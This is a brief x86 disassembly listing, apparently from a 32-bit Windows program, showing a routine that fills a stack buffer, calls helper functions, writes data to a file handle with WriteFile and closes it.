mov byte [ebp - 0x3b], 0x36
mov byte [ebp - 0x26], 0x61
lea ecx, [ebp - 0x44]
push ecx
call fcn.00406180
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 8]
push eax
call fcn.004062f0
movzx ecx, al
test ecx, ecx
jne 0x401bdf
xor al, al
jmp 0x401c0f
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
push ecx
call fcn.0040d31c
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x20]
xor ecx, ebp
call fcn.0040d024
mov esp, ebp
pop ebp
ret 8